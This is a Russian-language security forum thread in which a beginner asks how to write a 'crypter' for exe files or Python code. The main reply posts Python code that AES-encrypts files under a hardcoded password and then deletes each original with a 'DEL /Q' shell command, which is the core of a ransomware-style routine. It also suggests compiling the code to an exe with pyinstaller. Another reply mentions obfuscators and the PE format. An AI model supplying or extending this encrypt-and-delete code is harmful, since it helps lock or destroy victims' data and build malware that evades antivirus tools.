• B правой части каждого сообщения есть стрелки и . Не стесняйтесь оценивать ответы. Чтобы автору вопроса закрыть свой тикет, надо выбрать лучший ответ. Просто нажмите значок в правой части сообщения.

  • Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

Криптор на python

QWW

New member
14.10.2020
1
0
BIT
0
Как написать криптор exe файлов или кода py на python

Объясните для чайника
 

brun0

Green Team
17.10.2020
23
51
BIT
0
Я как раз недавно писал нечто подобное. Выбор велик и вам не обязательно так говнокодить, как это сделал я, но с кодом можешь ознакомиться, конечно.

Python:
import os
import pyAesCrypt # Основная штуковина для шифрования, жутко простой модуль

def crypt(): #Функция шифрации файлов

    global list
    global counter

    password = '8949821812876327517298129983712381538913871237126378'
    bufferSize = 512*1024
    pyAesCrypt.encryptFile(str(list[counter]), str(list[counter])+'.aes', password, bufferSize) #Лист здесь выбивает название файла, там я делал функцию перебора файлов в директории
    print('[Crypted]'+str(list[counter])+'.aes')
    os.system('DEL /Q ' + str(list[counter])) #Тут может быть ошибка, посокльку я не гребу, какие там команды в cmd на винде. Удаляет оригинальный файл
Там еще много чего можно дописать, но основная функция шифрования вот.
#UPD: В exe можешь его запихнуть с помощью компилятора pyinstaller, в гугле полно гайдов.
 
Последнее редактирование:

Pernat1y

Well-known member
05.04.2018
1 443
135
BIT
0
Для скриптовых языков (в том числе и для Python), это называется обфускатор. С сорцами есть, например, PyArmor.
Касательно крипта exe - либо учи формат PE и то, как работают загрузчики и основы ассемблера, либо сразу забей. "Для чайников" тут не прокатит.
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!